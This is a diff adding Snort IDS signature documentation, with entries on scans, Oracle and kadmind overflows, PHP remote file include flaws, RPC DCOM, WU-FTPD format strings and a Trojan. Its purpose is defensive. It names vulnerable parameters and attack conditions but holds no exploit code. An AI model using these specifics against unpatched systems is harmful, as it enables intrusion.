--- snort-2.8.5.2.orig/doc/signatures/111-11.txt
+++ snort-2.8.5.2/doc/signatures/111-11.txt
@@ -0,0 +1,61 @@
+Rule: 
+
+--
+Sid: 
+111-11
+
+-- 
+Summary: 
+This event is generated when the pre-processor stream4
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+This may indicate scanning activity.
+
+--
+Detailed Information:
+The pre-processor stream4 has detected network traffic that may indicate
+a scan is in progress. In this case, indications are that a Vecna scan
+is being used to determine the operating system of the target host.
+
+A sequence of packets has been observed that use a combination of URG,
+PUSH and FIN flags being set in a certain order in the datastream.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios: 
+An attacker may utilize scanning techniques to determine possible points
+of exploitation against a host.
+
+-- 
+Ease of Attack: 
+Simple. Many scanning tools exist.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Ensure the system is up to date with any appropriate vendor supplied patches.
+
+--
+Contributors:
+Martin Roesch <roesch@sourcefire.com>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2880.txt
+++ snort-2.8.5.2/doc/signatures/2880.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2880
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure comment_on_delete_resolution
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000466.txt
+++ snort-2.8.5.2/doc/signatures/100000466.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+100000466
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Free QBoard" application running on a webserver. 
+Access to the file "post.php" using a remote file being passed as the "qb_path" 
+parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "qb_path" parameter in the "post.php" script used by the 
+"Free QBoard" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Free QBoard
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2485.txt
+++ snort-2.8.5.2/doc/signatures/2485.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+2485
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow 
+associated with Norton Internet Security 2004 AntiSpam feature.
+
+--
+Impact:
+A successful attack may permit a buffer overflow that allows the
+execution of arbitrary code in the context of LOCAL_SYSTEM.
+
+--
+Detailed Information:
+Norton Internet Security 2004 provides desktop security for Windows hosts.
+A buffer overflow exists in a module associated with the AntiSpam feature of 
+Norton Internet Security. This is an ActiveX module that has been labeled
+"safe for scripting" allowing it to be accessed and run via a client's
+web browser on a host running a vulnerable version of Norton Internet
+Security 2004. If an attacker can entice a user on a vulnerable host to
+a malicious web server, it is possible to invoke the faulty ActiveX
+component.  This may cause a buffer overflow and the execution of arbitrary
+code in the context of LOCAL_SYSTEM.
+
+--
+Affected Systems:
+Norton Internet Security 2004, Norton Internet Security Pro 2004 versions before 7.0.3.8
+
+--
+Attack Scenarios:
+An attacker can entice a user on a vulnerable host to a malicious web
+page and execute the faulty ActiveX component, possibly causing
+a buffer overflow and the subsequent execution of arbitrary code on the
+vulnerable host.
+
+-- Ease of Attack:
+Difficult unless exploit code becomes available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell<bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Bugtraq:
+http://security.focus.com/bid/9916
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2536.txt
+++ snort-2.8.5.2/doc/signatures/2536.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2536
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+US-Cert:
+http://www.kb.cert.org/vuls/id/150236
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1743.txt
+++ snort-2.8.5.2/doc/signatures/1743.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1743
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000508.txt
+++ snort-2.8.5.2/doc/signatures/100000508.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+100000508
+--
+Summary:
+This event is generated when an attempt is made to access the file "wakka.php 
+which contains known vulnerabilities in the "Wikkawiki" application running on 
+a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to access a file with known 
+vulnerabilities from a remote machine used by the "Wikkawiki" application 
+running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Wikkawiki
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1894.txt
+++ snort-2.8.5.2/doc/signatures/1894.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid: 1894
+
+--
+Summary:
+This event is generated when an attempt is made to exploit 
+vulnerable versions of the Kerberos version 4 administration daemon 
+(kadmind).
+
+--
+Impact:
+Serious. System compromize presenting the attacker with the opportunity to execute arbitrary code or gain unauthorized access to the target host along with other hosts in the kerberos realm.
+
+--
+Detailed Information:
+kadmind is used to administer a Kerberos database on the master key distribution center (KDC) of a kerberos realm.
+
+A buffer overflow condition exists in kadmind4 such that when the daemon parses a length value in an administration request the attacker can gain the ability to execute arbitrary code with the privileges of the user running the daemon, usually root.
+
+Authentication is not required to cause the overflow.
+
+Affected Systems:
+	Multiple vendors using kadmind version 4
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2002-29.html
+http://www.kb.cert.org/vuls/id/875073
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1235
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1971.txt
+++ snort-2.8.5.2/doc/signatures/1971.txt
@@ -0,0 +1,79 @@
+Rule:
+
+--
+Sid:
+1971
+
+--
+Summary:
+Someone has attempted a format string attack that is successful against 
+the SITE EXEC command on vulnerable versions of WU-FTPD.
+
+
+--
+Impact:
+Severe; remote root compromise possible if user is running a version of 
+WU-FTPD prior to 2.6.2 as root.
+
+
+--
+Detailed Information:
+This attack is a format string attack against the implementation of the 
+SITE EXEC command in Washington University's ftp daemon.  This 
+vulnerability was widespread, due to the widespread use of wu-ftpd in 
+many of the Linux distributions. 
+
+This is an input validation problem, as wu-ftpd is not checking the user
+input that is passed directly into a format string for a printf/sprintf 
+function. With specific malicious data, it is possible to overwrite the 
+return address of the stack.  If properly done, when the function 
+attempts to return, it will return to the overwritten return address of 
+the function and it is possible to execute arbitrary commands.
+
+If running a vulnerable version of WU-FTPD as an anonymous ftp server, 
+this increases the exploitability dramatically, as the exploit must run 
+after a "user" has logged into the server.  Running the server allowing 
+anonymous logins means that any user, anywhere can log into the ftp 
+server and run the command.
+
+--
+Affected Systems:
+	Multiple vendor distributions of wuftpd  2.6.1 and earlier.  
+
+--
+Attack Scenarios:
+Attacker logs into an anonymous ftp server, checks to see if the SITE 
+EXEC command is implemented, and if it is, exploits the format string 
+attack, and executing arbitrary commands on the server. In most default 
+implementations of WU-FTPD the daemon was running as root and allowed 
+anonymous login.  If this is the case, the attacker would now have root 
+access to the system.   
+
+--
+Ease of Attack:
+Simple. Exploit scripts are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Patch all instances of WU-FTPD to the latest version, 2.6.2, as well 
+disallow anonymous access to the server.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Mike Poor <mike.poor@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2599.txt
+++ snort-2.8.5.2/doc/signatures/2599.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2599
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "add_grouped_column" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by long strings in some parameters for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to either the "sname" or
+"oname" variables to cause the overflow. The result could
+permit the attacker to gain escalated privileges and run code of their
+choosing. This attack requires an attacker to logon to the database
+with a valid username and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck633.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1507.txt
+++ snort-2.8.5.2/doc/signatures/1507.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1507
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000713.txt
+++ snort-2.8.5.2/doc/signatures/100000713.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000713
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PHPRaid" application running on a webserver. Access to the file "roster.php" using a remote file being passed as the "phpraid_dir" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpraid_dir" parameter in the "roster.php" script used by the "PHPRaid" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPRaid
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1983.txt
+++ snort-2.8.5.2/doc/signatures/1983.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+1983
+
+--
+Summary:
+Deepthroat is a Trojan Horse offering the attacker control of the target.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a compromise of all resources the machine is connected to. This Trojan also has the ability to delete data, steal passwords and disable the machine.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+
+The Trojan changes system registry settings to add the Deepthroat sever to programs normally started on boot.
+
+See also rules with sids 195, 1980, 1981, 1982 and 1983.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan. Once compromised, this Trojan grants the attacker the ability to almost completely control the target.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added are:
+
+	Systemtray
+
+Removal of the files pddt.dat and systray.exe from the Windows system directory is required.
+
+Ending the process systray.exe is also necessary. A reboot of the infected machine is recommended.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS106
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/deepthroat.trojan.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000480.txt
+++ snort-2.8.5.2/doc/signatures/100000480.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000480
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Somery" application running on a webserver. 
+Access to the file "team.php" using a remote file being passed as the 
+"checkauth" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "checkauth" parameter in the "team.php" script used by 
+the "Somery" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Somery
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2172.txt
+++ snort-2.8.5.2/doc/signatures/2172.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2172
+
+
+--
+Summary:
+This event is generated when a possible outgoing virus is detected. 
+
+--
+Impact:
+Informational event. An virus on an infected host may be attempting to 
+propogate.
+
+--
+Detailed Information:
+This event indicates that an outgoing email message possibly containing 
+a virus has been detected.
+
+This rule generates an event when a filename extension commonly used by 
+viruses is detected.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+This is indicative of a virus infection.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A legitimate attachment to an email may generate this event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of virus infection.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/853.txt
+++ snort-2.8.5.2/doc/signatures/853.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+853
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3276.txt
+++ snort-2.8.5.2/doc/signatures/3276.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3276
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3158.txt
+++ snort-2.8.5.2/doc/signatures/3158.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3158
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2980.txt
+++ snort-2.8.5.2/doc/signatures/2980.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+532
+
+--
+Summary:
+This event is generated when an attempt is made to access an administrative share on a Windows machine.
+
+--
+Impact:
+Serious. Possible administrator access on the victim machine. 
+
+--
+Detailed Information:
+This rule  generates an event when the hidden Netbios share Admin$, which is the Winnt directory, is accessed via SMB. 
+
+This is a poor security practice or an indication that a machine is being accessed remotely. 
+
+--
+Affected Systems:
+	Windows 9x
+	Windows 2000
+	Windows XP
+
+--
+Attack Scenario:
+This can be accessed from GUI "map network drive" remotely 
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Use a packet filtering firewall to disallow Netbios access from the unprotected network.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Jake Babbin 
+
+--
+References:
+
+arachnids 340 
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000388.txt
+++ snort-2.8.5.2/doc/signatures/100000388.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000388
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "topman.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "topman.php" script used by the "Ovidentia" application running on a webserver.
+
